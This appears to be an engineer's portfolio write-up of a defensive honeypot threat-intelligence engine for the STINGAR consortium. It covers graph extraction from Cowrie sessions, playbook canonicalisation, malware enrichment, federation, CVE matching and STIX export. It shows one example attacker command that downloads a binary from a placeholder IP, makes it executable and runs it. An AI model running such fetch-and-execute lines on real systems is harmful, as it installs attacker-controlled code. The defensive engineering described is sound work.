← Projects

Forewarned 2025

STINGAR Intelligence

Engineer · Forewarned · in progress

STINGAR threat catalog showing counts of malicious and suspicious IPs, malware samples, and playbooks, with tables for attacker IPs, C2 infrastructure, malware, and attack playbooks mined from honeypot sessions. Four entity types — not just the connecting IP. This is what the sessions always contained; stock STINGAR never folded it into durable intel.

STINGAR is a collective-defense platform: ~90 universities run honeypots — decoy SSH and Telnet servers that look like real machines but exist only to be attacked. When a bot or human connects and runs commands, Cowrie (the honeypot software) logs everything: credentials tried, the full shell transcript, files downloaded or uploaded, SSH client fingerprints. Network actuators on each campus block malicious traffic; intel from one partner propagates so an attack seen at Duke can be blocked at the other members before it lands.

That’s the platform I joined at Forewarned. The uncomfortable part: stock STINGAR forwarded all of that session richness into Elasticsearch and then used only the source IP for blocklists. Commands, malware hashes, callback hosts, attack patterns — collected, indexed, ignored.

I built the engine that actually mines it.

Honeypots, C2s, and why the session log matters

A honeypot is a trap, not a production server. Attackers think they’re compromising a real box; in reality they’re performing for a logger. STINGAR’s fleet generates tens of thousands of these sessions per day across the consortium.

A C2 — command-and-control server — is the infrastructure attackers use to control compromised machines: download malware from this host, beacon back to that IP after infection. You don’t always get a clean label. In honeypot traffic you infer C2s from evidence:

That ladder is load-bearing. “Referenced in a command” and “served us the payload” are not the same confidence level, and treating them the same poisons blocklists.

The session document for one attack already had all of this — hp_data.commands[], hp_data.files[] with sha256 hashes, client banners. The gap wasn’t collection. It was extraction.

Turning sessions into a graph

I added stingar-engine, a downstream consumer that tails the daily stingar-* session log with a durable cursor and folds each session exactly once into Postgres.

Three entity types, one id space:

Each sighting updates prevalence (sightings, sensor_count, first/last seen). Relationships are first-class: attacker IP indicates C2, C2 hosts payload, payload beacons-to callback, playbook delivers file. That’s what lets you ask “which malware came from which C2” instead of scrolling raw JSON.

Entity graph centered on a payload showing playbook delivers payload, C2 hosts malware, and IP edges linking infrastructure to the captured sample. A C2 isn’t a tag — it’s a chain of observed edges.

Playbooks: same attack, different filenames

Bots rerun the same sequence with rotated IPs and random dropped-file names. Hash the raw commands and you fragment one campaign into dozens of playbooks.

I canonicalize before hashing: the first distinct IP becomes <ip_1>, the second <ip_2>, same literal reused later keeps its index; URLs, basenames, beacon tokens get the same treatment. System paths like /etc/cron and /dev/tcp stay literal — the MITRE ATT&CK analyzer keys off them. Two runs of

wget http://1.2.3.4/x86 -O kdevtmpfsi ; chmod +x kdevtmpfsi ; ./kdevtmpfsi 5.6.7.8

collapse to one shape regardless of the literal names.

Bytes live somewhere else

Postgres holds metadata and hashes, not malware binaries. Bytes go to a content-addressed object store keyed by sha256 — same hash, write once, dedupe across millions of sessions. This wasn’t aesthetic: inlined multi-megabyte files in Elasticsearch once blew past the disk watermark and turned the index red. A dedicated sink strips content_b64 before the session doc lands in ES; the enricher reads bytes back by hash when it needs to run static analysis or extract embedded callbacks.

Enrich once, not once per session

Extraction and enrichment are two services with disjoint write columns. The view-builder never calls VirusTotal. The enricher drains enrichment_status = 'pending' and flips to complete.

That status gate is the economics: a cryptominer seen in a million sessions is one VT lookup and one LLM call. Paid enrichment scales with distinct threats, not attack volume.

Per type:

The LLM tier turns on when a partner drops in their own API key — no redeploy. Explanations stay local; deterministic verdicts are what federate.

Federation: fleet-wide signal and campaign detection

Optional global mode aggregates each partner’s entities into a central tier — same malware sha256 seen at ten universities folds to one global node with provider_count = 10. Federation isn’t mainly about syncing enrichment patches; it’s what makes detection across the whole fleet possible. A campus sees “new to us.” Only the global tier can tell whether an artifact is new everywhere.

Every global entity carries fleet-wide provider_count (how many distinct partners observed this exact id), first_seen / last_seen, and daily activity buckets. Cross novelty with spread:

The emerging-threat correlator runs over that aggregated graph and tags any IOC corroborated by ≥ N partners within a recent window (provider_count >= threshold AND last_seen within window). The tag is idempotent and syncs down to every campus, so a partner’s catalog surfaces “this artifact is spiking across the fleet right now” even though that judgment is only computable centrally.

Fleet-wide threat graph in layered layout connecting honeypots to scanners, C2 nodes, playbooks, and malware across the global tier. Honeypots → scanners → C2s → playbooks → malware — the same graph at fleet scope that the correlator and campaign grouper read.

Separating n-days from zero-day candidates

For each emerging malware and playbook in that candidate set, the next question is: is this exploiting a known vulnerability, or something with no public CVE? We don’t answer that from model recall. A dedicated CVE-intelligence platform (stingar_intelligence) continuously ingests the authoritative corpus — NVD, CISA KEV (known actively-exploited CVEs), EPSS (exploitation probability), CPE (vendor/product), exploit feeds, nuclei templates, CVSS — and exposes a retrieval-augmented attack → CVE matcher.

The matcher pipeline is HyDE rewrite → hybrid retrieve → schema-grounded verdict:

  1. HyDE rewrites raw attack text into CVE-style prose — honeypot payloads embed poorly against formal CVE descriptions.
  2. Hybrid retrieval fuses vector search with lexical full-text (RRF), over a pool pre-filtered by CWE, vendor, product, KEV flag, CVSS, EPSS, publication date.
  3. Schema-enforced grounding asks an LLM to pick the exploited CVE — but cve_id is constrained to an enum of exactly the retrieved ids plus "no_match", so a hallucinated CVE is impossible by construction.

Query alignment reuses what enrichment already produces: the enricher’s LLM explanation becomes the vector-side HyDE document (better grounded than a blind rewrite); the canonical command sequence, URLs, and notable strings feed the lexical half so exact tokens like log4j or /cgi-bin/luci aren’t paraphrased away; playbook MITRE techniques drive CWE pre-filters and recognized products drive vendor/product filters.

Cross the CVE verdict with fleet novelty — two independent, corroborating signals:

When we do match, KEV / EPSS / SSVC on the CVE record sets urgency — a fleet-wide artifact hitting a high-EPSS KEV is an active exploitation wave worth paging on. The verdict lands in an attributes.cve block on the entity; one match per distinct emerging artifact, same enrich-once economics.

Campaign grouping

Campaign detection clusters co-occurring emerging entities into one operation. When the same novel playbook drops the same novel malware reaching the same C2 infrastructure across many campuses in the same window, those aren’t four separate alerts — they’re one campaign. The relationship graph the extraction layer already records (playbook → delivers → payload, C2 → hosts → payload, payload → beacons-to → C2) makes that linkage explicit. Grouping lets STINGAR describe a threat actor’s operation fleet-wide, not isolated IOCs — and the new campaign SDO type projects through the same STIX machinery as everything else.

STIX and TAXII: speaking the industry’s language

Partners don’t live in STINGAR all day. They live in Splunk, Sentinel, OpenCTI. Those tools expect STIX — Structured Threat Information eXpression — the OASIS JSON standard for threat objects: indicators, malware, infrastructure, relationships, sightings.

STINGAR stores a normalized relational model, not STIX rows. I built a projection layer (storage ≠ wire): Postgres entities in, conformant STIX 2.1 bundles out. Deterministic UUIDv5 ids mean the same IP gets the same STIX id on every deployment — bundles merge across the fleet without a central id authority.

The same projection powers graph visualization — analyst sees the same object graph that gets exported.

STIX export view with threat graph of scanner, C2, playbook, and IP nodes plus a STIX 2.1 indicator JSON panel for the selected object. One projection, two consumers: download a bundle or explore the graph.

TAXII — Trusted Automated Exchange of Intelligence Information — is the standard subscription transport: a SIEM polls HTTP collections on a schedule instead of downloading bundles by hand. Local TAXII servers and user-configurable collections (“all malware beaconing to this C2 in the last 7 days”) are designed and partially in progress — the high-value move is letting partners pull a self-curated STINGAR feed into tools they already run. A global TAXII endpoint over the aggregated fleet would even enable a feed-only product: API key, no honeypots required.

Where it landed

The engine, API, and UI changes ship as part of STINGAR v2.5 — threat catalogs, entity detail graphs, STIX export, global federation views, emerging tags, CVE-grounded zero-day scoring, and campaign grouping. The platform context is ~90 institutions and tens of thousands of attacks/day fleet-wide; my layer is what turns those sessions into deduplicated, enriched, shareable intelligence — and what turns fleet aggregation into early warning when something new starts spreading.

What it taught me

Validate at the boundary and let the database be the graph. Split push extraction from pull enrichment so feeds never block on a flaky API. Design for “enrich each distinct object once” when volume is sessions but cost is lookups. provider_count only means something at global — that’s the network-effect detection surface. And when you ask “zero-day or n-day?”, ground the LLM in retrieved CVE ids, not prompt compliance.